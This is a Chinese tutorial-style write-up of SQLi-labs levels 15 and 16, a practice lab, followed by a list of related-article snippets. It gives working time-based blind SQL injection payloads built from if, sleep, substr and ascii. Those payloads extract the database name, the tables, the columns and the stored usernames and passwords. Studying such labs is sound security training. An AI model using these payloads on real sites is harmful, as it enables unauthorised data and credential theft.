SQLI-labs-第十五关和第十六关

2024-05-06 17:04

本文主要是介绍SQLI-labs-第十五关和第十六关,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

知识点:

第十五关

1、判断注入点

2、判断当前数据库

3、判断表名

4、判断字段名

5、爆值

第十六关

1、判断注入点


知识点:

POST方式的时间盲注

对应的函数利用,可参考SQLI-labs-第九关和第十关_sqllab第十关-CSDN博客

第十五关

原理:

1、判断注入点

输入正常的数据,没有任何回显

加入单引号、双引号、括号等,都没有任何回显信息,这里可以判断为时间盲注

输入  admin' and if(length(database())>1,sleep(5),1)#

会延时5秒钟

说明当前是单引号闭合错误

这里有一个问题,使用字符就可以显示出结果,数字就不行,这个没搞懂,麻烦大神指点一下

admin' and if(length(database())>1,sleep(5),1)#    可以延时5秒

1' and if(length(database())>1,sleep(5),1)#      不会延时

2、判断当前数据库

使用函数if(),length()、sleep()、substr()、ascii()

admin' and if(length(database())=8,sleep(5),1)#

说明当前数据库长度为8位

接下来判断数据库的字符,从a开始尝试

admin' and if(ascii(substr(database(),1,1))=97,sleep(5),1)#

结果没有延时

尝试到s的时候出现了延时,说明数据库名第一个字符为s

admin' and if(ascii(substr(database(),1,1))=115,sleep(5),1)#

以此类推,通过修改substr()函数的值,可以得到当前数据库名为security

3、判断表名

还是一样,判断第一个表名的一个个字符,从a开始判断

admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=97,sleep(5),1)#

admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)#

以此类推,通过修改limit和substr的值,可以判断出4个表为  emails 、referers、uagents、users

4、判断字段名

以users表为例

admin' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep(5),1)#

以此类推,可以推断出三个字段为:id、username、password

5、爆值

admin' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,sleep(5),1)#

admin' and if(ascii(substr((select password from security.users limit 0,1),1,1))=68,sleep(5),1)#

以此类推,可以得到数据库的数据


第十六关

原理:

1、判断注入点

因为输入任何信息都没有回显,所以只能采用时间盲注的方式来进行判断,在输入的值后面分别尝试加入’ " ) 等进行尝试

admin") and if(length(database())>1,sleep(5),1) #

接下来的步骤就跟上面的一致,使用ascii、substr函数等进行注入


这篇文章就写到这里了,有哪里不足,欢迎批评指正!

这篇关于SQLI-labs-第十五关和第十六关的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/964875

相关文章

redis实战第十五篇 redis cluster的批处理中ask重定向解决方案

ask重定向现象请参考【传送门】 分别使用mget和pipline做批处理 1.使用mget批量获取,如果存在重定向问题,会抛出异常。 @Testpublic void testMget(){JedisCluster jedis = RedisClusterUtil.getJedis();List<String> results = null;results = jedis.mget(

[leetcode hot 150]第十五题,三数之和

题目: 给你一个整数数组 nums ,判断是否存在三元组 [nums[i], nums[j], nums[k]] 满足 i != j、i != k 且 j != k ,同时还满足 nums[i] + nums[j] + nums[k] == 0 。请 你返回所有和为 0 且不重复的三元组。 注意:答案中不可以包含重复的三元组。 首先需要对数组进行排序。这是因为需要找到所有和为 0 的三

Sqli-Labs之less-6

说在开头:文章是我通过查询资料后按照自己的理解总结出来的,所以如果有说法不对的地方,欢迎大佬指正~ 我们可以看到less-6的题目提示: 得知这道题是“双注入-双引号-字符型”。 所以,这道题的除了判断注入点时是【"–+】以外,其余的解题步骤和less-5是一模一样的! 完整过程详见: Sqli-Labs之less-5(双注入解法) 最后的结果是:

Sqli-Labs之less-5(双注入解法)

说在开头:文章是我通过查询资料后按照自己的理解总结出来的,所以如果有说法不对的地方,欢迎大佬指正~ 这一关花费了我大量的时间,我在网上看了很多别人的解题思路,发现基本上使用的都是盲注,网上用的比较多的就是布尔型盲注和时间延迟型盲注。 我没有花时间去学习什么是盲注,通过看网上的解题思路,我的理解就是,在没有可显字段的情况下,通过输入查询语句一个一个猜测、通过看页面回显来判断自己的猜测是否正确

Sqli-Labs之less-4

说在开头:文章是我通过查询资料后按照自己的理解总结出来的,所以如果有说法不对的地方,欢迎大佬指正~ 目前看来,这几关都是基于less-1的思路,所以详细过程参见: Sqli-Labs之less-1 less-4的变化还是在于注入点的判断: 后续的操作还是一样:

Sqli-Labs之less-3

说在开头:文章是我通过查询资料后按照自己的理解总结出来的,所以如果有说法不对的地方,欢迎大佬指正~ 目前看来,这几关都是基于less-1的思路,所以详细过程参见: Sqli-Labs之less-1 less-3的主要的变化还是在于注入点的判断: 后续的操作就一样了:

【数据结构】第十六弹---C语言实现希尔排序

✨个人主页: 熬夜学编程的小林 💗系列专栏: 【C语言详解】 【数据结构详解】【C++详解】 目录 1、希尔排序( 缩小增量排序 ) 1.1、预排序实现 1.2、希尔排序代码实现 1.3、代码测试 1.4、时空复杂度分析 1.5、性能比较 总结 上一弹我们学习了直接插入排序,通过时空复杂度分析,时间复杂度为O(N^2),一般情况效率较低,有没有对直接插入排序进行优

【GD32F303红枫派使用手册】第十六节 USART-DMA串口收发实验

16.1 实验内容 通过本实验主要学习以下内容: 串口DMA工作原理 使用DMA进行串口收发 16.2 实验原理 16.2.1 串口DMA工作原理 在前面ADC章节中,我们介绍了DMA的工作原理,这里就不多做介绍。从GD32F303用户手册中可以查到,各串口的TX和RX分别对应DMA的不同通道,比如USART0的TX对应DMA0的通道3,而RX对应DMA0的通道4。 当需要使用D

【GD32F303红枫派使用手册】第十五节 USART-printf打印实验

15.1 实验内容 通过本实验主要学习以下内容: 串口简介 GD32F303串口工作原理 使用printf打印信息 15.2 实验原理 15.2.1 串口简介 串口,从广义上看,指所有串行通信接口,比如RS232、RS422、RS485、SPI、IIC等。串行通讯是指仅用一根接收线和一根发送线就能将数据以位进行传输的通讯方式。和串行通讯相对应的是并行通讯,并行通信指一个传输接口可

seed-labs (脏牛竞态攻击)

软件安全-脏牛竞态攻击 概要mmap() 函数进行内存映射MAP_SHARED MAP_PRIVATE 写时拷贝映射只读文件脏牛漏洞problems 概要 该漏洞存在于linux内核的写时复制代码中,攻击者可以通过该漏洞获取root权限 mmap() 函数进行内存映射 mmap():将文件或设备映射到内存的系统调用。默认的映射类型是文件备份映射,它将进程的虚拟内存区域映射到